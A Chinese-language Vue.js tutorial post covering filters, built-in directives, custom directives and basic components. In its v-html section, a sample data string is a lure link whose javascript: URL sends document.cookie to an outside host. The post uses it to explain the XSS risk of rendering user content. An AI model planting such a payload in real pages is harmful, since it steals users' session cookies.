Vue過濾器與內置指令和自定義指令及組件使用詳解

Posted on 2022-12-13 by WalkonNet

過濾器

定義：對要顯示的數據進行特定格式化後再顯示（適用於一些簡單邏輯的處理）

過濾器可以用在兩個地方：雙花括號插值或 v-bind表達式。

局部過濾器

局部過濾器是在某一個vue實例的內容創建的，隻在當前實例中起作用

<script>
export default {
  data() {
    return {
      price: 100
    };
  },
  filters: {
    filter_addbfh(value) {
      return value + '%';
    }
  }
};
</script>

全局過濾器

通過全局方式創建的過濾器，在任何一個vue實例中都可以使用

註意：使用全局過濾器的時候，需要先創建全局過濾器，再創建Vue實例

顯示的內容,是由過濾器的返回值決定

使用語法: <h1>{{name | myfilter1}}</h1>

Vue.filter('filterName', function (value) {
  // value 表示要過濾的內容
})

示例（過濾器）：

<div id="root">
    <h2>顯示格式化後的時間</h2>
    <!-- 計算屬性實現 -->
    <h3>現在是：{{ fmtTime }}</h3>
    <!-- methods實現 -->
    <h3>現在是：{{ getFmtTime() }}</h3>
    <!-- 過濾器實現 -->
    <h3>現在是：{{time | timeFormater}}</h3>
    <!-- 過濾器實現（傳參） -->
    <h3>現在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">尚矽谷</h3>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //全局過濾器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })
    new Vue({
        el:'#root',
        data:{
            time:1621561377603, //時間戳
            msg:'你好，尚矽谷'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部過濾器
        filters:{
            timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })
</script>

內置指令

v-text指令

用處：向其所在的節點中渲染文本內容。

與插值語法的區別：v-text會替換掉節點中的內容，{{xx}}則不會。

<div id="root">
    <div>你好，{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'小溪',
            str:'<h3>你好啊！</h3>'
        }
    })
</script>

v-html指令

(使用的很少)

作用：向指定節點中渲染包含html結構的內容。

🌞🌞與插值語法的區別：

v-html會替換掉節點中所有的內容，{{xx}}則不會。
v-html可以識別html結構。

嚴重註意：v-html有安全性問題

在網站上動態渲染任意HTML是非常危險的，容易導致攻擊。
一定要在可信的內容上使用v-html，不要用在用戶提交的內容上

<div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'張三',
            str:'<h3>你好啊！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?" rel="external nofollow" +document.cookie>兄弟我找到你想要的資源瞭，快來！</a>',
        }
    })
</script>

v-cloak指令

（沒有值）

使用css配合v-cloak可以解決網速慢時頁面渲染不出來，而展示出{{xxx}}的問題。

<style>
    [v-cloak]{
        display:none;
    }
</style>
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。
    new Vue({
        el:'#root',
        data:{
            name:'尚矽谷'
        }
    })
</script>

v-once指令

🌞🌞🌞

v-once所在節點在初次動態渲染後，就視為靜態內容瞭。
以後數據的改變不會引起v-once所在結構的更新，可以用於優化性能。

<div id="root">
    <h2 v-once>初始化的n值是:{{ n }}</h2>
    <h2>當前的n值是:{{ n }}</h2>
    <button @click="n++">點我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

v-pre指令

🚩跳過其所在節點的編譯過程可利用它跳過：沒有使用指令語法、沒有使用插值語法的節點，會加快編譯

<div id="root">
    <h2 v-pre>Vue其實很簡單</h2>
    <h2 >當前的n值是:{{n}}</h2>
    <button @click="n++">點我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

自定義指令

兩個實例：

定義一個v-big指令，和v-text功能類似，但會把綁定的數值放大10倍。
定義一個v-fbind指令，和v-bind功能類似，但可以讓其所綁定的input元素默認獲取焦點。

語法：

局部指令：

directives: {
  focus: {
    // 指令的定義
    inserted: function (el) {
      el.focus()
    }
  }
}

全局指令：

<script>
    // 註冊一個全局自定義指令 `v-focus`
    Vue.directive('focus', {
        // 當被綁定的元素插入到 DOM 中時……
        inserted: function (el) {
            // 聚焦元素
            el.focus()
        }
    })
</script>

配置對象中常用的3個回調：

bind：指令與元素成功綁定時調用。
inserted：指令所在元素被插入頁面時調用。
update：指令所在模板結構被重新解析時調用。

定義全局指令

<div id="root">
    <input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //定義全局指令
    Vue.directive('fbind', {
        // 指令與元素成功綁定時（一上來）
        bind(element, binding){
            element.value = binding.value
        },
        // 指令所在元素被 插入頁面時
        inserted(element, binding){
            element.focus()
        },
        // 指令所在的模板被重新解析時
        update(element, binding){
            element.value = binding.value
        }
    })
    new Vue({
        el:'#root',
        data:{
            name: '尚矽谷',
            n: 1
        }
    })
</script>

局部指令：

new Vue({
    el: '#root',
    data: {
        name:'尚矽谷',
        n:1
    },
    directives: {
        // big函數何時會被調用？1.指令與元素成功綁定時（一上來）。2.指令所在的模板被重新解析時。
        /* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
        big (element,binding){
            console.log('big',this) //註意此處的this是window
            // console.log('big')
            element.innerText = binding.value * 10
        },
        fbind: {
            //指令與元素成功綁定時（一上來）
            bind (element,binding){
                element.value = binding.value
            },
            //指令所在元素被 插入頁面時
            inserted (element,binding){
                element.focus()
            },
            //指令所在的模板被重新解析時
            update (element,binding){
                element.value = binding.value
            }
        }
    }
})

非單文件組件

基本使用

Vue中使用組件的三大步驟：

定義組件(創建組件)
註冊組件
使用組件(寫組件標簽)

定義組件

使用Vue.extend(options)創建，其中options和new Vue(options)時傳入的那個options幾乎一樣，有點區別；

區別如下：

el不要寫 ——— 最終所有的組件都要經過一個vm的管理，由vm中的el決定服務哪個容器。
data必須寫成函數 ——— 避免組件被復用時，數據存在引用關系。

data必須寫成函數：

創建一個組件案例：Vue.extend() 創建

    //第一步：創建school組件
    const school = Vue.extend({
        template:`
				<div class="demo">
					<h2>學校名稱：{{schoolName}}</h2>
					<h2>學校地址：{{address}}</h2>
					<button @click="showName">點我提示學校名</button>	
    </div>
			`,
        // el:'#root', //組件定義時，一定不要寫el配置項，因為最終所有的組件都要被一個vm管理，由vm決定服務於哪個容器。
        data(){
            return {
                schoolName:'尚矽谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })
    //第一步：創建student組件
    const student = Vue.extend({
        template:`
				<div>
					<h2>學生姓名：{{studentName}}</h2>
					<h2>學生年齡：{{age}}</h2>
    </div>
			`,
        data(){
            return {
                studentName:'張三',
                age:18
            }
        }
    })
    //第一步：創建hello組件
    const hello = Vue.extend({
        template:`
				<div>	
					<h2>你好啊！{{name}}</h2>
   		 </div>
			`,
        data(){
            return {
                name:'Tom'
            }
        }
    })

註冊組件

局部註冊：靠new Vue的時候傳入components選項
全局註冊：靠Vue.component(‘組件名’,組件)

註意點

組件名：

一個單詞組成：

第一種寫法(首字母小寫)：school
第二種寫法(首字母大寫)：School

多個單詞組成：

第一種寫法(kebab-case命名)：my-school
第二種寫法(CamelCase命名)：MySchool (需要Vue腳手架支持)

備註：

(1).組件名盡可能回避HTML中已有的元素名稱，例如：h2、H2都不行。

(2).可以使用name配置項指定組件在開發者工具中呈現的名字。

VueComponent

school組件本質是一個名為VueComponent的構造函數，是Vue.extend生成的。
我們隻需要寫<school/>或<school></school>，Vue解析時會幫我們創建school組件的實例對象，即Vue幫我們執行的：new VueComponent(options)。

關於this指向：

組件配置中：data函數、methods中的函數、watch中的函數、computed中的函數它們的this均是【VueComponent實例對象】
new Vue(options)配置中：data函數、methods中的函數、watch中的函數、computed中的函數它們的this均是【Vue實例對象】

VueComponent的實例對象，以後簡稱vc（也可稱之為：組件實例對象）。Vue的實例對象，以後簡稱vm

內置關系

VueComponent.prototype.__proto__ === Vue.prototype

到此這篇關於Vue過濾器與內置指令和自定義指令及組件使用詳解的文章就介紹到這瞭,更多相關Vue過濾器內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet！

Vue過濾器與內置指令和自定義指令及組件使用詳解

目錄

過濾器

局部過濾器

全局過濾器

內置指令

v-text指令

v-html指令

v-cloak指令

v-once指令

v-pre指令

自定義指令

非單文件組件

基本使用

定義組件

註冊組件

註意點

VueComponent

內置關系

推薦閱讀：

發佈留言取消回覆

近期文章

目錄

過濾器

局部過濾器

全局過濾器

內置指令

v-text指令

v-html指令

v-cloak指令

v-once指令

v-pre指令

自定義指令

非單文件組件

基本使用

定義組件

註冊組件

註意點

VueComponent

內置關系

推薦閱讀：

發佈留言 取消回覆

近期文章

標籤

發佈留言取消回覆